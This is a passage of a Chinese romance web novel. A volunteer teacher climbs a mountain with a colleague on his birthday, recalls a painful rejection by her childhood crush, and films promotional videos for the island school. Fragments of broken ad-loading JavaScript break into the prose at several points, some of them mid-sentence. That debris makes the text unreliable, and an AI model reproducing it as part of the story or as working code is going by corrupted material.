“你可别小看我,那群孩子就是看你们好说话才更加放肆。”林梅拍拍胸脯信誓旦旦地说,“换做是我,他们都得毕恭毕敬的。” 回忆起学生们见到校长的模样,那不是毕恭毕敬了,而是老鼠见到猫。 “行了行了,你俩今天休息,学校这边交给我。”林梅不由分说地推搡着她出去,顺便往她手里塞一张自己掏来的门票。 从办公室出来,陈夏柠打量着票面信息,当地比较热门的俊阳山,好不容易休息一天还去爬山,岂不是更累。 就算去也不想一个人去。 在教学楼前碰上周祈越,他今天清爽简约,白衬衫黑长裤搭配白色板鞋,额间的碎发也修正得利落。 “早啊,陈老师。” “早。”她正要说今天休息,周祈越先看见她手里的票面,“要去爬山?” “校长给我的,”陈夏柠说,“她今天给我们俩放假一天。” 周祈越哦了声,不太满意的表情:“只有一张啊。” 看来他想去。 陈夏柠趁机把自己的票给他:“那给你吧。” 周祈越接过手看了下背面,漫不经心道:“只能到了再买一张了。” 陈夏柠怔了一下,没搞懂他什么意思。 周祈越抬眼瞧她:“昨晚不是说要请我吃饭,我想吃俊阳山的特产。” “......” 陈夏柠这才明白他这是邀请人一起爬山的意思,“那什么时候出发?” “我要回家拿身份证。”周祈越抬手瞅了眼腕表,盘算着,“九点过来接你怎么样?” “可以。” 陈夏柠回寝室换了双较为舒服的鞋子,站在镜子前打量着身上的白T,感觉又莫名跟周祈越穿搭撞色系了,急忙换成蓝色短袖搭配牛仔裤。 女生出门照镜子便一发不可收拾,她好久没出去玩了,没忍住画了个淡妆,搭配丸子头,整个人清新自然。 不知不觉快到预定的时间点,陈夏柠随便捞起白色的香奈儿托特包出门,她没站在校门口,往学校前面走了五十米,生怕被其他人看见说闲话。 虽然她和周祈越就是普通朋友,但流言可畏。 周祈越骑着电动车过来,递给她一只白色头盔,陈夏柠特意查看没有公安局的标识,而是只新头盔,她边戴上边打趣:“头盔整改了,你这电车不会也是偷来的吧?” 周祈越拧动把手,不正经地回:“差不多,也是公安局的。” 陈夏柠笑了笑,一本正经地找托词:“那警察来了,我就说我是被你绑架到车上的,我什么都不知道。” “......” 岛上的小路和弯路比较多,有一说一,他这电车挺方便,速度也给力,大概花费二十分钟,俩人抵达俊阳山山脚。 此刻这里的游客貌似比岛上的居民还多,因为来到这个岛,她还没见过这么多人。 周祈越在购票窗口排队,陈夏柠就站在队伍外面等他,顺便在流动小贩的推销下买了只登山杖。 虽然知道周祈越大概不需要这种东西,陈夏柠还是象征性跑过去问一下。 周祈越已经排到售票窗口,他把身份证递进去,里面的工作人员说:“今天你生日啊,可以享受半价优惠。” “还有这好事,谢谢啊。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 周祈越付了一半的钱,拿着票面转身对上一张深沉的脸,陈夏柠错愕地问:“今天也是你生日?” 周围吵吵嚷嚷的,景区的工作人员大喇叭吆喝着买完票的有序进场,俩人顺着人流从入口进去,爬山会有缓冲地带,全是各种商业化的饭店和小吃摊位。 周祈越盯着她手中的登山杖说:“看来你真的想爬山,那行,我舍命陪君子一下。” 陈夏柠:“......” 我还以为我是来陪你爬山的。 颠倒黑白没人能比得上周祈越。 陈夏柠提前打好预防针:“先说好啊,我可能登不了顶,可以再半山腰等你。” 周祈越轻笑了声:“我也没打算登顶,这段时间山顶那一块死了好几个人了。” “......” 陈夏柠瞳孔地震,跟着他往前走,以为他在开玩笑,用手机搜索一下,确有此事。 俊阳山山顶没什么护栏,暑期游客量剧增,山顶发生一起踩踏事件,有几名游客直接坠涯了。 太恐怖了,陈夏柠再三重申爬到半山腰就下来。 游客顺着楼梯而上,山间树木繁盛,斑驳的光影被切割得稀碎,耳边传来泉水的流动声。 他俩走的很慢,陈夏柠过小溪时多停留了片刻,不禁对着泉水岩石和丛林的鸟拍照,周祈越也不催她,安静地站在她旁边等她。 继续往前登楼梯,他问:“很喜欢自然风景?” “嗯,在澳洲读研压力大的时候,就喜欢和室友去旷野里散步。”陈夏柠抿唇一笑,“后来发现只要接触大自然,人的心情就会好很多,乱糟糟的思绪也能捋出一条线。” “澳洲,我也去过。”周祈越偏头问,“你最喜欢哪?” “其实也没去过哪,我读研三年赶上疫情三年,出门很少。”陈夏柠认真想了想,“要说最喜欢的,应该是在塔斯马尼亚看极光。” 周祈越眼底幽深,弯了弯唇角,一抬眼,他们已抵达第一个休息站。 陈夏柠在广场找了个长椅坐下歇息,正喘着气,周祈越买水回来,拧开一瓶水递给她。 陈夏柠受宠若惊地双手接过,男人坐在长椅另一边,两人也就间隔一人的距离,他胳膊肘搭在双腿,弓着腰,突然来了句:“还有谁跟我生日一样?” 陈夏柠愣一下,转眼看他。 周祈越:“你说了个也。” 她佩服他的思维清晰度,谨小慎微地说:“一个朋友,曾经的朋友。” “男生?” “对。” 周祈越默了三秒,吊儿郎当道:“不会是你前男友吧?” “我没谈过恋爱好吧。”陈夏柠急于反驳,不小心说漏了嘴,“曾经喜欢过的人。” “......” 周祈越眸色稍暗,坐起身靠着椅背,话间脸偏到另一边,拖腔带调不正经地说:“跟你曾经的Crush同一天生日,不会连我本人也跟他长得很像吧,你对我的热情莫非是在找他的影子,合着你把我当成他的替身了啊。” “......” 陈夏柠瞪大眼睛,佩服他的想象力,言辞犀利:“你要是跟他有半点像,咱俩别说成为朋友了,我都不会搭理你。” 15. 狗血剧情 说完这句话,陈夏柠就觉得自己过激了。 周祈越怔了一下,好笑地说:“听你这语气,你们有什么深仇大恨似的?” 她敛眸,手中的矿泉水瓶被捏的啪啪响。 周祈越缓缓说着下句:“要么就是,你还在意他。” “不是。”陈夏柠当即否定,明明联系方式都删了,她原本以为自己能坦然地把江逸风当成陌生人那样提及。 其他人或许很容易,可他们是青梅竹马的相识,有些事不是说释怀就能释怀的。 她可以接受江逸风不喜欢她,也可以接受这么多年来的自作多情。 周祈越定定地看她。 2018年七月,刚结束大三一年的学习,他们即将步入大四,江逸风的生日就是航海日。 当天学校随处可见蓝色横幅和宣传栏,同时开放校园,欢迎校外人士来校参观航海之家,体验航海模拟实验室,以及各种科普游戏活动,其中最亮眼的便是航海员上船升旗仪式。 教官选中在校的大三学生,他们身穿白色海员制服,整齐划一地走向校园西边的旷野,那里停着一艘巨型液货船,行远号,曾助力莘莘学子航海之梦,如今已经停用,成为学校的地标。 那天下午,陈夏柠站在他们必经的林荫道,怀中抱着一个她精心制作的手账本,里面有各种照片和简笔画,记录了他们共同回忆的每一个重要的时刻。 青春期的陈夏柠过于自卑胆怯,所以这份喜欢她藏了很久,连室友都心疼她的暗恋。 身边的很多朋友都鼓励她去告白,去赌一赌他们青梅竹马的感情中有没有爱情。 终于在今天,陈夏柠总算鼓足勇气,想把这个手账本给他看,表达自己这么多年的喜欢。 当阅兵队伍朝这边走来时,陈夏柠很快在人群中找江逸风的身影,在烈日当空下极为耐心地等他结束。 她想第一个冲上去跟他说生日快乐,然后在心里排练无数次表白的台词。 每一分每一秒都极为忐忑。 “江逸风,你给我回来!”教官在身后指着他,命令道。 他头也不回,阔步往这边走,陈夏柠还没搞清楚发生了什么事,将事先演习过的场景付诸实践,满怀期待地跑到他跟前。 她刚喊出他的名字,下一句话快要到嗓子眼,江逸风阴沉着脸,两人目光相撞的那刻,他极为烦躁地吼了句:“给老子起开!” 陈夏柠吓得怔懵了几秒,他从没这么吼过她。 结果下一刻,江逸风一把将海员帽扔在地上,从她身边绕道,“烦不烦啊你。” “......” 陈夏柠杵在原地,眨了眨眼睛,眼泪快要夺眶而出,林盛紧跟着从船上跑过来,跟她说了江逸风和教官吵架的事。 江逸风的性格太过狂妄,一直不太服从军事化管理,连今天的阅兵仪式他都敢公然说:“傻逼老师想出来的傻逼活动,跟小丑似的。” 他根本不适合当海员,一个游戏人间的浪子不喜欢条条框框,也没有什么报效国家的壮志,只想着毕业后继承家族企业就行。 陈夏柠捡起帽子在教学楼找到人,江逸风正在廊下靠着墙抽烟,整个人看起来极为不爽和烦躁。 教学楼中间有个花坛,俩人距离不远,但有颗栾树挡住了她的身影,陈夏柠正犹豫着要不要去安慰他,想要表白的勇气也消了一半。 “行了,别不爽了,反正快毕业了,大四实习不想去就不去呗。” 说话人是林盛,他凑到江逸风旁边借火,继续说:“何必跟教官发这么大的脾气,还吼了人家小姑娘,等会哄哄去。” 陈夏柠心口一紧,闻声抬头。 江逸风依旧没好脸色,冷笑:“老子从不哄女人。” 林盛唏嘘了两声:“别告诉我你不知道陈大小姐喜欢你啊?” “知道又如何,我还知道她不是真千金。”江逸风兴致缺缺,极为凉薄地说,“就她那样的乖乖女玩起来有什么意思,早知道她是假千金,老子都不会搭理她。” 话音一落,陈夏柠只觉得脑袋嗡嗡响,他的话一遍遍循环在耳边,反复确认不是幻觉,随后泪水带着千金重般砸在地面。 就她那样的乖乖女玩起来有什么意思。 玩起来? 在他眼中,她和那些上干着倒贴他的女生有什么不同。 原来江逸风和爸妈一样,他们只在乎她的身份,随时随地能她从天堂拉到地狱。 喜欢一个人可以是一瞬间,不喜欢一个人也是。 那种真心被践踏的感觉,每当她想起来,心底的酸涩抽丝剥茧般,连她自己都看不起曾经的自己。 也怨恨自己为什么会那么傻,被他耍得团团转。 周祈越收回视线,抬起头,眨了眨眼,中规中矩地说:“既然你喜欢过他,就说明曾经他是值得的,只是后来他变了,抑或是你更深入了解他了。每当想起他给你造成的伤害时,不妨想想他曾经对你的好,自欺欺人也罢,至少这样能让你好受点。” 陈夏柠一脸迷惑,扭头看他。 周祈越会心一笑:“我的意思是,不要让这个人成为你心中的一道坎。报复一个人最好的方式,是让自己过得好,让他成为生活里最不重要的一阵风。” 陈夏柠:“我也想,可我不知道该怎么做。” 他挑起眉:“那我教你啊。” “嗯?” 周祈越站起身,带她继续往上爬楼梯,这次他走的很快,还总在前面催她快点。 陈夏柠铆足了劲儿让自己跟上他,中途好几次说自己不行了。 但周祈越铁了心不放过她,怂恿道:“陈夏柠,就算爬不到山顶,你总不能连半山腰都爬不动吧,你这点毅力还怎么向前看,过好自己的生活啊。” 最终在他的激将法之下,陈夏柠登到半山腰,被他带到一个眺望台,她不顾形象直接蹲在地上,双手抓住护栏大口喘息。 周祈越腰也不弯气也不喘,问:“陈夏柠,你现在脑子里想的是什么?” 陈夏柠:“......好累,真的好累。” “那你看看眼前的风景。”周祈越说,“不妨把你的感受告诉大自然,用力喊出来。” 她顺着他指的方向,望向身后空灵的山谷,葱郁的山林。 陈夏柠缓缓站起来,怯生生地张口,声音也不大。 周祈越给她做示范,对着山林大声喊:“陈夏柠,你现在想的是什么?” 然后有回音传过来。 反 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 正这里没有其他人,要说丢人也是周祈越最先丢人。 谁嘲笑谁,半斤八两。 陈夏柠无所顾忌地放下心中的包袱,扬起双手,学着他的模样喊出声:“我好累,真的好累。” 面对这样的人生,我好累。 带着怨恨和不满生活,我真的好累。 周祈越:“你用力喊,山风才能带走你的烦恼。” 陈夏柠深呼一口气,抬高嗓门,一字一顿道:“江逸风,你不配。” “不是你抛弃了我,而是我不喜欢你了。” 说到抛弃二字,她不禁想起萧婷说的那句话—— “我养了她那么多年,现在不想养了,我不要她了行吗?” 于是下面的一句话,陈夏柠热泪盈眶,声线颤抖:“我也不要你们了,我一定会找到自己的家。” “......” 周祈越站在她身后,抬起手想拍拍她肩膀,却又止在半空,无措收回。 望着眼前人,另一个模样跨越时间长河与她重合。 “小柠檬,我的生日愿望给你,你想许什么愿?” “七月,我希望自己也会有家。” - 俩人没继续多待,折下山时,陈夏柠一点也不累,脚下轻松,比周祈越的速度还快,反倒变成她催他了。 没想到对着山间大喊一通,整个人脱胎换骨似的。 将坏情绪全部发泄出来。 留下的只有好心情了。 到了山脚,陈夏柠想起要请他吃饭,在美团搜索一番,来到一家口碑不错的面馆。 店面足够大,装修也不错,临近中午,人流量很多,他两好不容易找到空位,扫码桌上的二维码点餐。 陈夏柠浏览着菜单,周祈越去前台要了一壶茉莉茶,往杯子里倒,挪过来。 她勾选了一碗三鲜面,抬眼问:“你想吃什么?” 周祈越懒得看菜单:“你随便点就行。” 陈夏柠指腹按着屏幕,继续往下划拉页面,视线一顿,两份面一起下单。 她放下手机瞧见,周祈越浑身懒骨头似的靠在椅子,若有所思地喝着茉莉茶。 俩人一对视,陈夏柠心虚地别开眼。 按理说她心理防线挺强的,不会轻易在别人面前表露心事,爬个山竟然糊里糊涂地跟他说了那么多。 太不可思议了。 周祈越自带读心术似的,欠揍地说:“虽然我抓住了你的把柄,但你也不用这么快就跟做贼一样吧。” “......” 把柄? 好家伙,他不会以后天天说这事以此来要挟她吧。 陈夏柠气定神闲,一本正经地回:“我心虚是因为,我刚才骗了你。” 周祈越:“?” 陈夏柠目光真诚,有模有样道:“其实吧,我在山上说的故事是我看的一部电影,不是我的真实经历,你用脚指头都能想出来,一夜之间从真千金变成假千金,连暗恋竹马都嫌弃她,这么狗血的剧情也只有电影才存在啊。” “......是嘛。”周祈越没什么情绪地说,“电影名字是什么,我去膜拜一下狗血剧情。” 陈夏柠:“因为太狗血,已经下架了。” 16. 大少爷 “先生,女士,你们的面好了。”服务员端着盘子走过来打断他们的谈话。 周祈越看到自己的面条愣了下,中间有胡萝卜切成的字样“生日快乐”,她点了一碗长寿面。 陈夏柠暂且放下个人恩怨,认真说:“周祈越,生日快乐。” 周祈越眼角不易察觉地弯了弯,漫不经心说俩字:“谢了。”随即捞起筷子去挑面条。 “哎,等下。”陈夏柠阻拦他把配菜花样打翻,“你要不许个愿?” 周祈越轻笑了声:“没有蜡烛,我对着面条许愿?” “不行吗?” 许佳念不喜欢吃生日蛋糕,每次过生日,她就是对着长寿面许愿的,陈夏柠说:“你把筷子当成蜡烛不就行了。” 周祈越将两根筷子立起来插在碗中给她看:“这是过生日呢,还是过忌日?” 陈夏柠:“......” 呃......许佳念竟然每年都是这样干的。 周祈越抽走筷子,抬眼看她,悠悠道:“我呢,没什么愿望,不如帮你许一个。” “我也没什么愿望。” 因为从来都没实现过,她便不再相信愿望成真会降临在自己身上。 “希望每年今天都不再是你的痛点。” 周祈越前句正经,下句就画风突变,“洗心革面,重新做人。” “......” 陈夏柠仍旧不死心,义正严词道:“我都说了,那是我看的电影!” 周祈越不咸不淡地嗯了一声,朝她点了点下巴,“快吃吧,面要凉了。” - 他们午饭吃的比较晚,从面馆出来已是下午两点,一天中最热的时间段,但山脚下的树木也多,绿油油的叶子随风扇动,发出哗啦啦的声响,倒也凉快。 陈夏柠从包里掏出拍立得,开启录像模式,画面中杨树高大挺阔,柏油路干净整洁,狭长的林荫道摆着许多小摊位,鳞次栉比的各种文创小玩意。 直到她的镜头停在一个捞金鱼的摊位,周祈越走上前无意闯入画面,回头看她,“要不要玩一玩?” 陈夏柠抱着相机走过去,“我以前玩过,挺难的,那纸太薄了,总是破。” “挺容易的啊。”话间,老板递过来纸网,周祈越蹲下直接上手,几乎是一眨眼的功夫,就捞上一条鱼。 “你怎么做到的?”陈夏柠兴奋地凑过去,相机还在开着录像。 在镜头下,周祈越重新演示一遍。 陈夏柠蹲在他旁边,指着池子中的金鱼,“抓那个,那个好大。” 她想要哪只,周祈越就帮她捞,没有一次失手的。 陈夏柠结束录制,收好拍立得:“挺厉害啊,我就不行。” “我教你啊。”周祈越递给她一个新纸网,“这跟娃娃机差不多,掌握好技巧就很简单了。” 陈夏柠学着他的动作,瞥了眼他满当当的战利品:“那下次玩娃娃机也喊上你,那岂不是进货的场面。” 站在一旁的老板:“......” 果然,你俩就是来进货的! 瞄见老板的脸色,周祈越淡笑了声,随即停下手中的动作,转眼看她的纸网。 有只金鱼完全入网,陈夏柠正以为自己要得逞,结果下一秒纸网就破了。 第二次是鱼跳跑了。 “不行,我再来一次。”她玩起游戏会有胜负心,不成功一次不罢休的那种。 学的人着急,教的人也着急。 男人抓住她的手柄,手把手教她,渐渐地,陈夏柠注意力不知从什么时候转移到他身上的香水味。 以前只闻到乌木香,现在近距离感受到它的中调是柠檬味。 又是柠檬。 他很喜欢柠檬吗? 周祈越说:“你要竖着入水,手不要发抖,慢慢往上。” 原来周祈越耐心讲解的样子,声音会更好听,让人想起山间潺潺的泉水,感受到他的温柔。 思绪回笼,男人宽阔的身躯蹲在她身后,像是将小小的她包拢,俩人的指尖相碰的瞬间,彼此目光一顿。 距离近乎到可以听见彼此的呼吸声。 陈夏柠僵在原地忘记反应,周祈越急忙收回手,站起来,往后退。 她眨了眨眼,手背贴了贴灼热的侧脸。 应该是太热了吧,她想。 “你想要吗?”周祈越指着自己的战利品,意兴阑珊道,“不然,我就还给老板。” “要要要。” 陈夏柠狂点头,有现成的,她也不想抓了。 但她只要了两条,多了她也养不活。 老板心情大好,顺便送她一个小鱼缸,瞧着两条金鱼,看了两眼他两,“刚好一对,就跟你俩一样般配。” “......” 周祈越的手机铃声响起,转身去旁边接电话。 陈夏柠低不可闻地叹气,懒得解释了,一手用塑料袋提着金鱼,另一只手搂着鱼缸。 周祈越打完电话折回来,她依稀听了个大概,抢先说:“你还有事是吗?那现在回去吧。” 他拿过她怀中的鱼缸,“昨天答应王小壮的爷爷帮他修鱼塘。” 陈夏柠跟着他去找电动车,哦哦两声:“怪不得你昨晚说明天见,我还以为那是客套来着。” “我说的每一句话都是认真的。”周祈越坐上电动,启动车子前和身后的人说,“我先送你回学校。” 陈夏柠看时间是三点半,其实还早,兴味盎然地问:“鱼塘在哪?” “你想去?”周祈越顿了一下,“星月湾。” 她立刻当缩头乌龟:“不,我要回学校。” 电车行驶,迎面的风带着温度,男人发出浅浅的笑腔:“看来你对这个地方有阴影了。” “......” - 今天爬山足够消耗体力,陈夏柠后知后觉又感受到累,路过金鱼巷她顺带打包了一份炒饭,省得晚上还要出来。 回到宿舍,先给金鱼安顿好,她浑身汗津津的,转去洗澡,吃完饭天也黑了。 陈夏柠将风扇打开,四肢瘫在床上,没过一会儿眼皮子就开始打架了。 同样还是那个梦,她一个人走在黑漆漆的山路。 不出意外的话,前有虎后有蛇,叫天天不灵叫地地不应。 可是四周太黑了,她到底该往哪走呢。 “陈夏柠!” 蹭的一下前方被照亮,男人连地面的影子都在发光,他朝她挥挥手。 “你是打算往前走,还是原路返回。” 陈夏柠抿唇一笑,毫不犹豫地跑过去,奔 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 向男人的面前。 明明他周身都在泛着光亮,但他低着头,面容不是很清晰。 陈夏柠凑近一步想看清他是谁,男人也缓缓抬头。 像是电视情节进入高潮突然插进一条广告。 陈夏柠睁开了眼,仰望白花花的天花板,沉吟片刻。 室内极为亮堂,窗外的光线刺得眼疼。 难得一觉睡到天亮。 不料一看时间,十点十五?! 陈夏柠火速起床换衣服,洗漱,匆匆跑到教学楼。 学生正在操场自由活动,有个男人在学生中间鹤立鸡群。 陈夏柠走过去正要打招呼,对方回过身,长相痞里痞气,还有些稚嫩。 她愣了一下,“你是?” “你就是陈老师吧,常听我妈提起你。”男人顿时眉开眼笑,眼睛放光似的,“我叫董川,林校长的儿子。” 话间,董川已经伸出两只手。 陈夏柠并不认识他,也没听过校长有儿子,有所防备地去回应。 “董川,你妈找你,办公室。”周祈越的声音插进来,她闻声回头,悬在半空的手收回去。 董川:“找我干嘛?” 周祈越又变回平日不好惹,高傲的大少爷模样,没好气道:“你妈找你干嘛,你应该去问你妈,问我干嘛。” “......” “知道了知道了。”董川走之前特意朝她笑了笑,“陈老师,等会儿见。” 陈夏柠看向周祈越,确认:“他是校长的儿子?” “嗯。”周祈越单手抄兜,转身走向教学楼,“一个败家子。” “......” 陈夏柠跟在他身后偷笑了下。 你不也是败家子。 到了大教室,黑板上有验算数学题的痕迹,陈夏柠问:“你教的?” 周祈越捞起凳子坐在讲台,单手托着下巴瞧她,尾音打转:“难不成是你在梦里教的?” “......”陈夏柠嘿嘿一笑,找着理由:“我这是给你表现的机会,平日让你待在一边看我上课,你心里肯定早就牙痒痒了吧。” “我谢谢你啊,让我笑了一早上。”周祈越低头扫了两眼学生交来的暑假作业,拿到她面前,“他们的作业写的这么搞笑,莫非是得到了你的真传。” 陈夏柠:“?” 周祈越指给她看:“请问三轮车有几只轮子,学生答,四只。你猜猜它为什么叫三轮车,那个学生跟我说,他就是见过四只轮子的三轮车。” “......” 陈夏柠噗嗤笑出声,替那个学生辩解:“他可能是梦里见过。” “......” 啪的一声,周祈越将作业丢在桌面,挑着眉打量她,神情严肃。 陈夏柠立刻闭嘴,垂着眼,准备接受他的控诉。 “吃饭了没?” 她摇摇头。 “接着。”周祈越从桌上拿起三明治扔过来,“早上买多了。” 陈夏柠巍巍颤颤地接住,撕开包装,“多少钱,我转你。” 周祈越:“五百二,你转吧。” “......” 陈夏柠立刻懂得语言的艺术,耳背文学上线:“五块二是吧。” “......” 17. 流量密码 陈夏柠按照自己的理解给他转五块二。 周祈越扯了扯唇角,也不知是不是嫌少,盯着页面半晌才接收。 她吃完三明治,正要去外面喊学生回班,林梅带着儿子将她拦住,“让他们再玩会儿,我们开个会。” 以校长为首,其他三人认真听讲,两个男人分别坐在两边,陈夏柠在中间感觉自己被包围了。 “陈老师,我知道你工作量大,现在把我儿子拉过来帮你。”林梅朝董川努努下巴,后者殷勤地跟她说多多关照。 陈夏柠瞄了眼右边的一尊大佛,他正板着脸,“其实还好,周祈越来了后,我工作轻松很多了。” 下一句她就想说,不用董川来了。 林梅叉着腰,眼波在两臭小子之间流转,直言不讳地吐槽:“能待在这岛上的年轻人没几个成器的,我看周祈越最近在这表现不错,顺带就让小川也来这改造改造,磨一磨他那浮躁的性子。” 董川:“......” 陈夏柠想说的话咽回去。 这话说的,这学校怎么像劳改所似的。 “不过你放心,他要是敢为难你给你添乱,我回去就家法伺候。”林梅这人向来直率强势,哪怕亲儿子也不留情面,征求她的意见,“不介意再多一个败家子吧?” 话说到这个份上,陈夏柠自然不能回绝,余光瞧见董川被说的挺不好意思,无措地挠着头。 董川和周诚都是那种属于在外嚣张,在家怕父母的人。主要是由于父母体制内,他们混的还不如爸妈,很容易抬不起头。 周祈越的视线越过她,隔空对他喊了句:“别挠了,要洗头回家洗。” 董川:“......” 陈夏柠俯低头,拳头抵在嘴角。 这么会形容你不要命啦! 下一秒,周祈越的枪头瞄准她:“别忍了,想笑就笑。” 陈夏柠:“......” 林梅在三人面前踱步,发愁地说:“有什么办法调动更多人来我们这里支教呢?” 电话打过来,林梅又要外出解决纠纷了,会议戛然而止。 课间休息结束,陈夏柠按照授课计划给学生补习英语,既然周祈越也能上课,任课老师多了一位,然后董川暂且负责监督课间活动。 午饭时,陈夏柠随手打开微信看到航海学院视频号的动态,是昨天发布的。 点开视频,画面从学校操场高空拉近,丝滑专场到她上课的场景,周祈越出境的时间缩短,几乎没有正脸视频,仅仅一个侧脸,评论区就热火朝天。 【哇,这个男老师好帅啊!我想要他联系方式!】 【哪个学院的老师,我要去上他的课!】 【女老师也好漂亮,俊男靓女!】 【这个宣传视频真酷,好像去这个学校看一看,小朋友也好可爱嘿嘿。】 ...... 陈夏柠撂下筷子,兴味盎然地翻阅评论区,竟然有上万条赞和转发。 没想到周祈越把视频剪辑的这么好,她的支教vlog就这么被选上了。 “欸,陈夏柠你还吃不吃?”周祈越的手在眼前挥了挥,“食堂收摊了。” 陈夏柠的思绪拉回,盯着他,灵光一现,不着边际地说了句:“太棒了。” 周祈越蓦然一愣,旋即得意洋洋地说:“你现在才知道崇拜我,晚了。” “……” 话间,陈夏柠已经收拾好餐盘跑远了。 下午学生们午睡完,从寝室里出来,就撞见摄像机对着他们,回班的路上陈夏柠也跟一路。 周祈越拦着她问:“不是做好宣传视频了么,你们海大到底要求录多少个?” “不是海大要求,是我自己想录。”陈夏柠耐心说,“我在想上午校长说的那个问题,要想让更多人来这里支教,就得有关注度懂不懂。” 周祈越瞧着她,哦了声:“懂,互联网时代博眼球赚流量,狗仔的工作。” “......” 你话就不能说好听点吗! 我这是助力乡村教育,正向宣传! “陈狗仔”表示想怼人但找不到理由。 说起博眼球,陈夏柠顿时想起那个视频最高赞的评论,虎视眈眈地盯上周祈越。 周祈越面色一沉,不好的预感:“干嘛?我不会帮你录了。” 陈夏柠阴笑了下:“没有啊,这次我录。” 一般下午的课程较为宽松,有一节户外游戏,陈夏柠照旧借用在澳洲的所见所得,带着学生走出校园,来到学校附近的一片小树林。 她早就注意到岛上丰富的植物了,提前让周祈越和董川准备好硬白纸、剪刀和胶水。 学生需要在树林里搜集各种形状的叶子,按照他们想象力制作树叶面具。 同学们在周祈越和董川的监视下行动起来,陈夏柠则打开摄像机开启录制,有学生看到草地不禁躺上面打滚。 要说博眼球,周祈越这种帅哥不正是流量密码嘛! 陈夏柠这次特意分给他更多镜头,尤其是正面镜头。 周祈越正耐心教女同学设计树叶花样,用剪刀裁剪面具模型,肖思明不知道从哪抓了只长蚯蚓,倏然冲上前丢过来,其他学生及时躲闪,那只蚯蚓掉落在冯志鑫手上。 紧接着,“呜啊”的尖叫声响彻整片树林,小女孩吓得当场哭起来。 “好了没事了。”周祈越将蚯蚓扔得远远的,蹲在她面前,拿纸巾给小女孩擦手,柔声安慰,“没事了,别怕,蚯蚓不会咬人,是益虫。” “哥哥,我好讨厌肖思明,呜呜呜。”冯志鑫抽泣着,额头靠在他肩膀。 周祈越有一下没一下地拍着她后背,瞥了眼缩在一旁的始作俑者,“过来道歉。” 肖思明别开脸,不领情。 陈夏柠望着这个场景突然失神,忘记上前主持公道,还是王小壮自告奋勇把人提到周祈越跟前。 “陈老师,陈老师......”董川连叫了三声,她才晃过神,递给她一瓶矿泉水,“来,喝口水。” “谢谢。”陈夏柠暂停录制,拧开瓶盖。 董川还是第一次见到这么水灵灵的姑娘,皮肤白哲细腻,正是他眼中的女神,激动地语无伦次:“陈老师平日喜欢看什么电影啊,喜欢猫还是还是狗,喜欢吃甜的还是咸的,喜不喜欢打篮球。” “......” 陈夏柠眨巴眨巴眼,一时不知该回答哪个了。 “你搁这调查户口呢。”周祈越走过来插到俩人中间,推搡着董川,“轮到你去教学生了。” 董川一脸不乐意:“为什么是我?” “你十万个为什么啊?”周祈越一记眼刀过去,居高临下道,“忘记你妈怎么说的了啊,需要我再给你重复一遍么。”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 碍于女神在,董川瞪他一眼,暂且老实去教学生。 周祈越目光转向她。 陈夏柠抿了抿唇,合上瓶盖,斑驳的光影打在脸颊,额间沁出一层薄汗。 “坐下吧。” 周祈越脱掉蓝色薄衬衫,摊在草地上让她坐着,俩人坐在樟树下面乘凉。 他问:“你刚刚又在神游什么?” 陈夏柠眉眼一抬,纳闷道:“很明显吗?” 周祈越笑:“你的情绪写在脸上。” “我只是恍然觉得你说的那句话挺对。”陈夏柠说,“多想一想曾经他对你的好,或许就会好受点。” 方才周祈越安慰小女孩的样子,倒是让她想起十六岁的自己,那个时候她也是需要被保护被呵护的小女孩。 自记事以来,家给她感觉是拘束,她不知道自己以前什么性格,但萧婷总说她没有大小姐的模样,总是纠正她各种言行举止,吃饭和穿衣服,诸如此类。 这些条条框框教育她要听话,要乖巧,要得体。 即使深处豪门,陈夏柠并没有活成明艳张扬的大小姐,反而变得胆小怯弱敏感,生怕做错什么。 父母工作很忙,很少照顾到她的情绪,在班里她也不是很起眼。 中考失利,陈夏柠考上海云二中,高二那年在父母的安排下转学到海云一中,特意安排她和江逸风同班。 第一次月考结束那个周末,全班组织团建去学校附近新开的海洋馆。 到了海洋馆同学们分了好几个组行动,陈夏柠刚来新班级也没什么朋友,江逸风带她一起同行,同行十个人,男生偏多,喜欢刺激的活动,见到鬼屋毫不犹豫地冲上前。 陈夏柠跟在后面屏住呼吸,刚踏进里面,听到惊悚的声响,她没忍住尖叫了声。 江逸风回头看她,女生惊悚地捂住耳朵,“要是怕就跟在我后面,穿过隧道就可以看见企鹅了。” “嗯嗯好。”陈夏柠寸步不离地跟在他身后。 隧道很黑,五光十色的灯光中,她不敢抬头看四周恐怖的摆设,只敢盯着江逸风的影子,以免自己跟丢了他。 大概走了一半路程,陈夏柠捂着耳朵也阻挡不住旁边的尖叫声,游客量明显变多,出现好多恐怖的NPC。 “啊——” 旁边有个女生撞了她一下,陈夏柠瞧见白色血淋淋的东西,顿时血液高涨,惊恐地抓住前面人的手腕。 “江逸风,我害怕。” 忽地,这片区域陷入混乱,人与人推搡着发生碰撞,他们俩被挤到墙壁边角,陈夏柠当时太害怕了,小鸟依人地靠在他怀里。 男生也伸出手将她环住,轻轻拍着她的后背安抚,惊悚恐惧的尖叫声愈发强烈,还有人被吓得鬼哭狼嚎。 陈夏柠整张脸缩在他胸膛,感受到莫名的安心,他说话声音很小也很温柔:“没事了,都是假的。” 那一刻,她的脸颊发热,心跳节奏乱成一团。 ...... 周祈越曲着双腿,胳膊肘抵在膝盖,听到这个故事不禁低下头,唇角勾勒出一个梨涡。 陈夏柠偏头看他:“你笑什么?” 心想他是不是觉得她很幼稚,一点小事都会心动。 “没有啊,我没有笑。”周祈越轻咳了声,眼角还在弯着。 陈夏柠瞳孔放大,指着他说:“你就是在笑!还在笑!” 18. 北极熊&企鹅 一群学生缠着董川剪面具模型,他忙得手忙脚乱,谁知一回头发现俩人正在有说有笑的。 董川看周祈越的眼神立马冒火星,这人秋后算账的速度跟他妈有的一拼。 快到放学的时间点,陈夏柠有序组织学生回学校,从队伍后面走到前面一路清点人数。 队伍中间肖思明和王小壮走在一排,你推我一下我推你一下,正在因为蚯蚓的事拌嘴,眼瞧着要打起来。 “王小壮,你站最前面去。”队伍后面周祈越喊了句,更像是命令,没想到王小壮真就遵从命令跑到最前面,跟肖思明错开一段距离。 